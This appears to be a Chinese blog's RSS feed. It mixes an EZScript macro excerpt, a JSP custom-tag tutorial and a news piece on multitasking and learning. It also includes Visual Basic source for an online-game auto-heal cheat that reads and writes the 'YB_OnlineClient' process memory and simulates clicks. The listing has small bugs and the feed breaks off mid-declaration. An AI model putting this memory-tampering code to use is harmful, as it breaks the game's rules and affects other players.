﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-飞艳小屋-文章分类-其它</title><link>http://www.blogjava.net/songfei/category/4999.html</link><description>程序--人生--哲学___________________欢迎艳儿的加入</description><language>zh-cn</language><lastBuildDate>Thu, 30 Aug 2007 17:36:45 GMT</lastBuildDate><pubDate>Thu, 30 Aug 2007 17:36:45 GMT</pubDate><ttl>60</ttl><item><title>EZScript II【基本操作】</title><link>http://www.blogjava.net/songfei/articles/140891.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Wed, 29 Aug 2007 06:11:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/140891.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/140891.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/140891.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/140891.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/140891.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: EZScript II【基本操作】【执行/停止】可以执行或停止script。停止後，再换执行则是从头开始。另外可用Alt-Pause来热键启动执行/停止的功能。 【暂停/继续】可以暂停或继续script，与执行/停止不同的是可以从暂停处继续执行。另外可用Pause来热键启动执行/停止的功能。 【即时取得座标】只要把动态抓点及颜色选项开启接著把滑鼠游标移到该点再按下Alt+Ctrl+左边的1-8数字...&nbsp;&nbsp;<a href='http://www.blogjava.net/songfei/articles/140891.html'>阅读全文</a><img src ="http://www.blogjava.net/songfei/aggbug/140891.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2007-08-29 14:11 <a href="http://www.blogjava.net/songfei/articles/140891.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自定义标签体系结构介绍</title><link>http://www.blogjava.net/songfei/articles/63048.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Fri, 11 Aug 2006 09:01:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/63048.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/63048.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/63048.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/63048.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/63048.html</trackback:ping><description><![CDATA[
		<span style="FONT-SIZE: 12pt">
				<span style="FONT-FAMILY: 黑体">
						<strong>自定义标签体系结构介绍</strong>
				</span>
		</span>
		<br />
		<br />
		<span style="FONT-SIZE: 11pt">
				<span style="FONT-FAMILY: 黑体">标签处理程序 </span>
		</span>
		<br />
		<br />在创建自定义标签之前，需要创建一个 标签处理程序。标签处理程序是一个执行自定义标签操作的 Java 对象。在使用自定义标签时，要导入一个 标签库 —— 即一组标签/标签处理程序对。通过在 Web 部署描述符中声明库导入它，然后用指令 taglib 将它导入 JSP 页。 <br /><br />如果 JSP 容器在转换时遇到了自定义标签，那么它就检查 标签库描述符（tag library descriptor） （TLD） 文件以查询相应的标签处理程序。TLD 文件对于自定义标签处理程序，就像 Web 部署描述符对于 servlet 一样。 <br /><br />在运行时，JSP 页生成的 servlet 得到对应于这一页面所使用的标签的标签处理程序的一个实例。生成的 servlet 用传递给它的属性初始化标签处理程序。 <br /><br />标签处理程序实现了 生存周期 方法。生成的 servlet 用这些方法通知标签处理程序应当启动、停止或者重复自定义标签操作。生成的 servlet 调用这些生存周期方法执行标签的功能。<br /><br /><br /><span style="FONT-SIZE: 11pt"><span style="FONT-FAMILY: 黑体"><strong>标签的类型 </strong></span></span><br /><br />可以定义两种类型的标签： <br /><br />javax.servlet.jsp.tagext.Tag <br />javax.servlet.jsp.tagext.BodyTag <br />对 正文 进行操作 —— 即对在开始和结束标签之间的内容进行操作的 —— 标签必须实现 BodyTag 接口。在这个教程中，我们将称这些标签为 正文标签。我们将不对其正文操作的标签称为 简单标签。简单标签可以实现 Tag 接口，尽管不要求它们这样做。要记住不对其正文操作的标签仍然 有 正文，只不过，它的标签处理程序不能读取这个正文。 <br /><img src ="http://www.blogjava.net/songfei/aggbug/63048.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-08-11 17:01 <a href="http://www.blogjava.net/songfei/articles/63048.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>研究称一心确不能两用</title><link>http://www.blogjava.net/songfei/articles/60282.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Thu, 27 Jul 2006 01:13:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/60282.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/60282.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/60282.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/60282.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/60282.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="98%" border="0">
				<tbody>
						<tr align="middle">
								<td colspan="2">
										<strong>学习时音乐勿打扰 研究称一心确不能两用(图)</strong>
								</td>
						</tr>
						<tr>
								<td>
										<script language="JavaScript"><![CDATA[unction doZoom(size){document.getElementById('pzoom').style.fontSize=size+'px';}]]&gt;</script>
◇字体：［<a href="javascript:doZoom(16)" target="_self">大</a><a href="javascript:doZoom(14)" target="_self">中</a><a href="javascript:doZoom(12)" target="_self">小</a>］  <a class="FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&amp;oid=11188872&amp;publish=yes&amp;newstitle=学习时音乐勿打扰 研究称一心确不能两用(图)&amp;bid=6173149&amp;branchpath=msn.ynet.com/探索/探索要闻"><font color="red">发表评论</font></a></td>
								<td align="right">来源：北京晚报(06/07/27 07:30) </td>
						</tr>
				</tbody>
		</table>
		<div class="vb" id="pzoom">
				<p class="image">
						<a href="http://discovery.ynet.com/image.jsp?oid=11188890" alt="一心不能两用">
								<img src="http://discovery.ynet.com/img.db?11188890+s(300)" border="1" />一心不能两用</a>
				</p>
				<!-- 分段显示开始 -->
				<p>
						<span id="zoom">
								<p>　　许多孩子都喜欢一边听音乐、一边学习，家长对此并不赞同。美国科学家7月24日发表的观点对家长们是一种支持。文章指出，一心多用与专心致志是两种完全不同的学习方式，不仅过程不同，而且效率迥异。受其他事物干扰时，人对所学知识往往掌握不牢，导致日后运用困难。<br />　　<br />　　<br />　<strong>　人类主要有两种学习方式</strong></p>
								<p>
										<!--Adforward Begin:-->
								</p>
								<div style="FLOAT: right; MARGIN: 12px">
										<iframe marginwidth="0" marginheight="0" src="http://msn.allyes.com/main/adfshow?user=MSN|Portal_News|CNNWLR_CNZHsNEWSROS_REC300x250_I9&amp;db=msn&amp;border=0&amp;local=yes" frameborder="0" width="300" scrolling="no" height="250">
												<script language="JavaScript1.1" src="http://msn.allyes.com/main/adfshow?user=MSN|Portal_News|CNNWLR_CNZHsNEWSROS_REC300x250_I9&amp;db=msn&amp;local=yes&amp;js=on">
												</script>
												<noscript>
														<a href="http://msn.allyes.com/main/adfclick?user=MSN|Portal_News|CNNWLR_CNZHsNEWSROS_REC300x250_I9&amp;db=msn">
																<img src="http://msn.allyes.com/main/adfshow?user=MSN|Portal_News|CNNWLR_CNZHsNEWSROS_REC300x250_I9&amp;db=msn" width="300" height="250" border="0" />
														</a>
												</noscript>
										</iframe>
										<!-- 相关新闻开始//-->
										<!--
<table width="300" border="0" cellspacing="0" cellpadding="0" class="Y_mt8"><tr><td valign="top"><table width="100%"  border="0" cellpadding="0" cellspacing="0" bgcolor="#E9E9E9"><tr><td width="50" height="20" align="center" bgcolor="#BABABA"><img src="/gall/msn/imgs/tit_ynet7.gif" width="33" height="16"></td><td width="95" bgcolor="#BABABA"><strong class="Y_mt1l6 Y_cW">相关新闻</strong></td><td>&nbsp;</td><td width="68"></td></tr></table></td></tr><tr><td><table width="100%" border="0" cellspacing="1" cellpadding="0" class="Y_bdh1 Y_mb6"><tr><td class="Y_pdtb6" bgcolor="#F8F8F8"><ul><li><span class="Y_aDot3">&middot;</span><a href="view.jsp?oid=10797791" class="Y_FS12" style="color: #666666">HSK考试成绩优异 多伦多六考生来京强化学习</a>&nbsp;<a class="Y_FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&oid=10797791&publish=yes&newstitle=HSK考试成绩优异 多伦多六考生来京强化学习&bid=3857970&branchpath=msn.ynet.com/生活/教育"><font color=999999>评</font></a></li><li><span class="Y_aDot3">&middot;</span><a href="view.jsp?oid=10823028" class="Y_FS12" style="color: #666666">周末公益讲堂解析学习困难因素</a>&nbsp;<a class="Y_FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&oid=10823028&publish=yes&newstitle=周末公益讲堂解析学习困难因素&bid=7263577&branchpath=北青电子版/北京青年报/文化&bid=7223258&branchpath=北京青年报/天天副刊/健康守望"><font color=999999>评</font></a></li><li><span class="Y_aDot3">&middot;</span><a href="view.jsp?oid=10901446" class="Y_FS12" style="color: #666666">孩子的学习是家长耐力的体现</a>&nbsp;<a class="Y_FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&oid=10901446&publish=yes&newstitle=孩子的学习是家长耐力的体现&bid=7217527&branchpath=北京青年报/天天副刊/心理解码"><font color=999999>评</font></a></li><li><span class="Y_aDot3">&middot;</span><a href="view.jsp?oid=11004105" class="Y_FS12" style="color: #666666">《科学发展观学习读本》连载：前言</a>&nbsp;<a class="Y_FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&oid=11004105&publish=yes&newstitle=《科学发展观学习读本》连载：前言"><font color=999999>评</font></a></li><li><span class="Y_aDot3">&middot;</span><a href="view.jsp?oid=11088992" class="Y_FS12" style="color: #666666">成考规范最短学习年限 成人教育不得少于2年</a>&nbsp;<a class="Y_FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&oid=11088992&publish=yes&newstitle=成考规范最短学习年限 成人教育不得少于2年&bid=3857970&branchpath=msn.ynet.com/生活/教育"><font color=999999>评</font></a></li><li><span class="Y_aDot3">&middot;</span><a href="view.jsp?oid=11156670" class="Y_FS12" style="color: #666666">炮轰港校不如学习港校</a>&nbsp;<a class="Y_FS12" href="http://comment.ynet.com/comments.jsp?url=http://msn.ynet.com/view.jsp?oid=&oid=11156670&publish=yes&newstitle=炮轰港校不如学习港校&bid=9826483&branchpath=河北青年报/评论/时务观察"><font color=999999>评</font></a></li></ul></td></tr></table></td></tr></table><- 相关新闻结束 //-->
								</div>
								<!--Adforward End //-->
								<strong>　　<br />　　叙述性学习<br /></strong>　　<br />　　<br />　　人类在进行叙述性学习时，大脑记忆储存区十分活跃，能够比较牢固地掌握所学知识，以便日后灵活运用。例如，你把电话号码背下来，必要时能随时随地说出它，这就是叙述性学习。<br />　　 
<p></p><p>　　<strong>习惯性学习<br /></strong>　　</p><p>　　而习惯性学习则是一种“耳熟能详”的学习方法。例如，如果别人在你面前反复提到一个电话号码，你就会对它有印象。虽然你不能说出具体数字，但能在电话机上拨出完整号码。<br />　　</p><p>　　叙述性学习显然比习惯性学习更具优势，因为使用习惯性学习方法获取的知识，只有在特定情况下才能被激活，不能随时使用。除了过程和成效不同，叙述性学习和习惯性学习还是两种互不兼容的学习方式。在某一特定时刻，只有其中一种方式起作用。<br />　　</p><p>　　<strong>“三心二意”效率低<br />　　</strong></p><p>　　通过对14名受试者进行脑成像研究，专家发现，当专心致志、集中全部精力学习时，人一般使用叙述性学习方法。而一心多用、分神同时处理多种信息时，则多数使用习惯性学习法。<br />　　</p><p>　　实验分为两个部分。首先，在没有任何干扰的环境中，研究人员向受试者反复展示一些天气特征，要求他们推断相应天气类型。然后，研究人员播放音乐，要求受试者在做天气测试的同时，数出音乐中高音的数量。结果显示，虽然受试者能在音乐干扰下答对天气名称，还能给出正确的高音数量，但他们在一心二用状态下掌握新知识的程度比专心致志时低很多。<br />　　</p><p>　　专家提醒家长，虽然现代人有必要掌握同时做好几件事情的能力，但孩子在学习新概念、掌握新知识的过程中，任何让他们分神的事物都会产生不良影响，可能损害孩子的学习能力。<br />　　</p><p>　　<strong>不同解读</strong><br />　　</p><p>　　北卡罗来纳州立大学的克里斯·梅霍恩博士认为，这项实验证明，受到干扰时，人依然能履行本职，吸收相关知识，但学习效果较差。梅霍恩说，习惯性学习的妙处在于:有时你会惊奇地发现，自己其实并不是对手头任务一无所知，虽然连你自己都很迷惑这些知识源于何处。<br />　　</p><p>　　梅霍恩同时承认，习惯性学习会产生不良影响。例如，人们在无意识情况下获得的某些知识常为当时环境所扭曲，但并未得到妥善处理。这些知识存在于人的潜意识中，构成错误“直觉”，导致未来作出错误决策。　谭年琼(新华社专稿) </p></span>
				</p>
				<p>
				</p>
		</div>
<img src ="http://www.blogjava.net/songfei/aggbug/60282.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-07-27 09:13 <a href="http://www.blogjava.net/songfei/articles/60282.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>江湖自动补血外挂源码.</title><link>http://www.blogjava.net/songfei/articles/55747.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Thu, 29 Jun 2006 06:48:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/55747.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/55747.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/55747.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/55747.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/55747.html</trackback:ping><description><![CDATA[
		<br />
		<br />现在看VB感觉越来越亲热了...毕竟按键类的已经明确定义了不是外挂...呵呵. 
<p></p><p>-----------------------------------------------------<br />江湖自动补血外挂.</p><p>窗体部分.<br />Dim SetHp As Integer<br />Dim SetMp As Integer<br />Dim SetTl As Integer<br />Dim DiZhi As Long<br />Dim ShiJian As Long<br />Dim shi As Integer<br />Dim yue  As Integer<br />Dim ri As Integer<br />Dim vx As Integer<br />Dim vy As Integer<br />Dim cx As Integer<br />Dim cy As Integer<br />Dim cPoint As POINTAPI<br />Dim keyPoint(1 To 10) As POINTAPI<br />Dim curWindow As Long<br />Private Const VK_HP = &amp;H31<br />Private Const VK_MP = &amp;H32<br />Private Const VK_TL = &amp;H33<br />Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long<br />Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long<br />Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long<br />Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer<br />Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)<br />Private Function ncnr(lpADDress As Long) As Integer<br />' 声明一些需要的变量<br />Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄<br />Dim pid As Long ' 储存进程标识符( Process Id )<br />Dim pHandle As Long ' 储存进程句柄<br />hwnd = FindWindow(vbNullString, "YB_OnlineClient")<br />' 取得进程标识符<br />GetWindowThreadProcessId hwnd, pid<br />' 使用进程标识符取得进程句柄<br />pHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)<br />' 在内存地址中读取数据<br />ReadProcessMemory pHandle, lpADDress, ByVal VarPtr(ncnr), 4, 0&amp;<br />' 关闭进程句柄<br />CloseHandle hProcess<br />End Function<br />Private Function xr(lpADDress As Long, Zhi As Integer) As Integer<br />' 声明一些需要的变量<br />Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄<br />Dim pid As Long ' 储存进程标识符( Process Id )<br />Dim pHandle As Long ' 储存进程句柄<br />hwnd = FindWindow(vbNullString, "YB_OnlineClient")<br />' 取得进程标识符<br />GetWindowThreadProcessId hwnd, pid<br />' 使用进程标识符取得进程句柄<br />pHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)<br />WriteProcessMemory pHandle, lpADDress, Zhi, 1, 0&amp;<br />' 关闭进程句柄<br />CloseHandle hProcess<br />End Function<br />Private Sub Check1_Click()<br />If Check1.value = Checked Then<br />Timer3.Interval = CInt(txtdelay.Text) * 1000<br />Timer3.Enabled = True<br />Else<br />Timer3.Enabled = False<br />End If<br />End Sub<br />Private Sub Check2_Click()<br />If Check2.value = Checked Then<br />SetMp = CInt(Text2.Text)<br />Timer4.Interval = CInt(txtdelay.Text) * 1000<br />Timer4.Enabled = True<br />Else<br />Timer4.Enabled = False<br />End If<br />End Sub<br />Private Sub Check3_Click()<br />If Check3.value = Checked Then<br />SetTl = Text3.Text<br />Timer5.Interval = 10000<br />Timer5.Enabled = True<br />Else<br />Timer5.Enabled = False<br />End If<br />End Sub<br />Private Sub Check4_Click()<br />If Check4.value = Checked Then<br />yue = ncnr(ShiJian)<br />ri = ncnr(ShiJian + 4)<br />shi = ncnr(ShiJian + 8)<br />Timer6.Enabled = True<br />Else<br />Timer6.Enabled = False<br />End If<br />End Sub<br />Private Sub Check5_Click()<br />If Check5.value = Checked Then<br />Timer7.Enabled = True<br />Else<br />Timer7.Enabled = False<br />End If<br />End Sub<br />Private Sub cmdGotoGame_Click()<br />AppActivate "YB_OnlineClient"<br />End Sub<br />Private Sub Command1_Click()<br />xr ShiJian, Int(Text5.Text)<br />xr ShiJian + 4, Int(Text6.Text)<br />xr ShiJian + 8, Int(Text4.Text)<br />End Sub<br />Private Sub Form_Load()<br />vx = Int(65535 / 1024)<br />vy = Int(65535 / 768)<br />Dim i As Integer<br />Dim ky As Integer<br />Dim kx As Integer<br />kx = 635<br />ky = 745<br />For i = 1 To 10<br />    keyPoint(i).x = kx<br />    keyPoint(i).y = ky<br />    kx = kx + 40<br />Next i<br />ShiJian = &amp;H8C0FE4<br />DiZhi = &amp;H852702<br />Timer1.Enabled = True<br />Timer2.Enabled = True<br />Timer3.Enabled = False<br />Timer4.Enabled = False<br />Timer5.Enabled = False<br />Timer6.Enabled = False<br />Timer7.Enabled = False<br />Check1.value = 1<br />Timer3.Interval = 3000<br />Timer3.Enabled = True<br />Check2.value = 1<br />Timer4.Interval = 3000<br />Timer4.Enabled = True<br />End Sub<br />Private Sub regHotkey()<br />    Dim lretVal As Long<br />    preWinProc = GetWindowLong(frmMain.hwnd, GWL_WNDPROC)<br />    lretVal = SetWindowLong(frmMain.hwnd, GWL_WNDPROC, AddressOf wndproc)<br />    idHotKey = 5<br />    Modifiers = MOD_CONTROL<br />    uVirtKey = vbKeyG<br />    lretVal = RegisterHotKey(frmMain.hwnd, idHotKey, Modifiers, uVirtKey)<br />End Sub<br />Private Sub unReghotkey()<br />End Sub<br />Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)<br />If MsgBox("确认退出吗?", vbQuestion + vbYesNo, "确认") = vbYes Then<br />    Unload Me<br />    End<br />Else<br />Cancel = True<br />End If<br />End Sub<br />Private Sub Form_Unload(Cancel As Integer)<br />UnhookWindowsHookEx pid<br />End Sub<br />Private Sub Timer1_Timer()<br />Dim hwnd As Long<br />hwnd = FindWindow(vbNullString, "YB_OnlineClient")<br />If hwnd = 0 Then<br />Label11.Caption = "游戏未加载"<br />Label21.Caption = ""<br />Timer1.Enabled = True<br />Timer2.Enabled = False<br />Timer3.Enabled = False<br />Timer4.Enabled = False<br />Timer5.Enabled = False<br />Timer6.Enabled = False<br />Timer7.Enabled = False<br />Command1.Enabled = False<br />Exit Sub<br />End If<br />If hwnd &lt;&gt; 0 Then<br />Label11.Caption = "游戏已加载"<br />GameWindow = hwnd<br />Command1.Enabled = True<br />Timer2.Enabled = True<br />Timer2.Enabled = True<br />End If<br />End Sub<br />Private Sub Timer2_Timer()<br />Dim Nowhp As Integer<br />Dim HighHP As Integer<br />Dim Nowmp As Integer<br />Dim HighMp As Integer<br />Dim Nowtl As Integer<br />Dim HighTl As Integer<br />DiZhi = &amp;H13AE838<br />Nowhp = ncnr(DiZhi)<br />DiZhi = &amp;H13AE844<br />HighHP = ncnr(DiZhi)<br />DiZhi = &amp;H13AE83C<br />Nowmp = ncnr(DiZhi)<br />DiZhi = &amp;H13AE848<br />HighMp = ncnr(DiZhi)<br />DiZhi = &amp;H13AE9DE<br />Nowtl = ncnr(DiZhi)<br />HighTl = ncnr(DiZhi)<br />'Label8.Caption = Str(Nowhp) + "/" + Str(HighHP)<br />'Label6.Caption = Str(Nowmp) + "/" + Str(HighMp)<br />'Label7.Caption = Str(Nowtl) + "/" + Str(HighTl)<br />Label8.Caption = Str(Nowhp) &amp; "/" &amp; Str(HighHP)<br />Label6.Caption = Str(Nowmp) &amp; "/" &amp; Str(HighMp)<br />Label7.Caption = Str(Nowtl)<br />Label22.Caption = Str(ncnr(ShiJian)) + "月" + Str(ncnr(ShiJian + 4)) + "日" + Str(ncnr(ShiJian + 8)) + "时"<br />End Sub<br />Private Sub Timer3_Timer()<br />Timer3.Enabled = False<br />Dim Nowhp As Integer<br />Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄<br />Dim pid As Long ' 储存进程标识符( Process Id )<br />DiZhi = &amp;H13AE838<br />SetHp = Val(Text1.Text)<br />Nowhp = ncnr(DiZhi)<br />hwnd = FindWindow(vbNullString, "YB_OnlineClient")<br />Me.Caption = "游戏已启动 窗口句柄:" &amp; CStr(hwnd)<br />If Nowhp &lt; SetHp Then<br />GetCursorPos cPoint<br />If chkdr.value = 1 Then<br />SetCursorPos 97, 10<br />Mouse_lClick<br />End If<br />SetCursorPos keyPoint(10).x, keyPoint(10).y<br />Sleep 500<br />Mouse_rClick<br />SetCursorPos cPoint.x, cPoint.y<br />End If<br />Timer3.Interval = CInt(txtdelay.Text) * 1000<br />Timer3.Enabled = True<br />End Sub<br />Private Sub Timer4_Timer()<br />Timer4.Enabled = False<br />Dim Nowmp As Integer<br />Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄<br />Dim pid As Long ' 储存进程标识符( Process Id )<br />DiZhi = &amp;H13AE83C<br />Nowmp = ncnr(DiZhi)<br />SetMp = CInt(Text2.Text)<br />hwnd = FindWindow(vbNullString, "YB_OnlineClient")<br />If Nowmp &lt; SetMp Then<br />GetCursorPos cPoint<br />SetCursorPos keyPoint(9).x, keyPoint(9).y<br />Mouse_rClick<br />Sleep 500<br />SetCursorPos cPoint.x, cPoint.y<br />End If<br />Timer4.Interval = CInt(txtdelay.Text) * 1000<br />Timer4.Enabled = True<br />End Sub<br />Private Sub Timer5_Timer()<br />Timer5.Enabled = False<br />Dim Nowtlp As Integer<br />Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄<br />Dim pid As Long ' 储存进程标识符( Process Id )<br />Nowmp = ncnr(DiZhi)<br />hwnd = FindWindow(vbNullString, "YB_OnlineClient")<br />If Nowtlp &lt; SetTl And Check3.value = 1 Then<br />  SendKeys "我没有蓝药了,谁可以给我点?{ENTER}"<br />End If<br />Timer5.Interval = 5000<br />Timer5.Enabled = True<br />End Sub<br />Private Sub Timer6_Timer()<br />xr ShiJian, yue<br />xr ShiJian + 4, ri<br />xr ShiJian + 8, shi<br />End Sub<br />Private Sub Timer7_Timer()<br />xr &amp;H8C0FEC, &amp;HC<br />End Sub<br />Function Http(Web)<br />HyperJump = ShellExecute(0&amp;, "OPEN", Web, vbNullString, vbNullString, vbNormalFocus)<br />End Function<br /><br /></p><table cellspacing="0" cellpadding="0" width="100%" align="right" border="0"><form action="rate.asp" method="post" target="_blank"><tbody><tr><td width="70%"><font color="#dbc7b0"> 注册: <b>2005-10</b>    状态: </font><font color="#8bbb9e"><b><a href="http://www.gameres.com/bbs/showposterip.asp?postid=260353" target="_blank"><font color="#888888">Offline</font></a></b></font></td><td align="right" width="10%"><b><font color="#999999">1</font></b>   <a href="http://www.gameres.com/bbs/showthread.asp?threadid=49904#top">Top</a></td></tr></tbody></form></table><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" cellspacing="1" cellpadding="4" width="98%" align="center" bgcolor="#9d9879" border="0"><tbody><tr bgcolor="#eee0d0"><td valign="top" align="middle" width="20%" bgcolor="#eee0d0"><b>事业不成功只用小灵通<br /></b>Exp:748<br /><img height="100" src="http://www.dywt.com.cn/vbs/uploadface/1228_200412023494647428.gif" width="100" /><br />中士<br /><img src="http://images.gameres.com/bbs/image/title/6.gif" /></td><td valign="top" width="80%" bgcolor="#eee0d0"><table id="table2" cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td width="35%"><font color="#4a4108"> 发表于: 2006-3-9 18:36:00</font></td><td><p align="right"><a href="http://www.gameres.com/bbs/gotoblog.asp?ID=事业不成功只用小灵通" target="_blank">博客</a> | <a href="http://www.gameres.com/bbs/showuser.asp?userid=34603" target="_blank">档案</a> | <a href="http://http://www.17wpk.com" target="_blank">主页</a> | <a href="http://www.gameres.com/bbs/showmessage.asp?action=sendmessage&amp;username=事业不成功只用小灵通" target="_blank">短信</a> | <a href="http://www.gameres.com/bbs/showthread.asp?postid=260354">树状</a> | <a href="http://www.gameres.com/bbs/newfavorite.asp?threadid=49904" target="_blank">收藏</a> | <a href="http://www.gameres.com/bbs/editpost.asp?postid=260354">编辑</a> | <a href="http://www.gameres.com/bbs/delpost.asp?postid=260354">删除</a> | <a href="http://www.gameres.com/bbs/newreply.asp?quote=yes&amp;postid=260354">引用</a>   </p></td></tr></tbody></table><hr color="#7a7138" noshade="" size="1" /><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" cellspacing="1" cellpadding="4" width="100%" border="0"><tbody><tr><td valign="top"><b>Re:发几个代码.VB写的!</b><br /><br />---------------------------------<br />模块部分 
<p></p><p>Attribute VB_Name = "Module1"<br />Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long<br />Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long<br />Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long<br />Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long<br />Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long<br />Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long<br />Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long<br />Declare Function ReleaseCapture Lib "user32" () As Long<br />Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long<br />Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long<br />Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long<br />Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long<br />Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long<br />Declare Function SetActiveWindow Lib "user32" (ByVal hwnd As Long) As Long<br />Declare Function GetActiveWindow Lib "user32" () As Long<br />Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)</p><p>'窗口总在最前端 retvalue = SetWindowPos(Me.hwnd, HWND_TOPMOST, Me.CurrentX, Me.CurrentY, 300, 300, SWP_SHOWWINDOW)<br />Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long<br /> '具体可以使用的常量及其用法<br />Public Const LWA_ALPHA = &amp;H2   '表示把窗体设置成半透明样式<br />Public Const LWA_COLORKEY = &amp;H1   '表示不显示窗体中的透明色<br />Public Const WS_EX_LAYERED = &amp;H80000<br />Public Const GWL_EXSTYLE = (-20)</p><p>Public Const WM_SYSCOMMAND = &amp;H112<br />Public Const SC_MOVE = &amp;HF010<br />Public Const HTCAPTION = 2<br />Public Const WM_NCLBUTTONDOWN = &amp;HA1</p><p>Public Const HWND_TOPMOST = -1<br />Public Const SWP_SHOWWINDOW = &amp;H40</p><p>Public Const WM_CLOSE = &amp;H10                    'Closing window<br />Public Const SW_SHOW = 5                        'showing window<br />Public Const WM_SETTEXT = &amp;HC                   'Setting text of child window<br />Public Const WM_GETTEXT = &amp;HD                   'Getting text of child window<br />Public Const WM_GETTEXTLENGTH = &amp;HE<br />Public Const EM_GETPASSWORDCHAR = &amp;HD2          'Checking if its a password field or not<br />Public Const 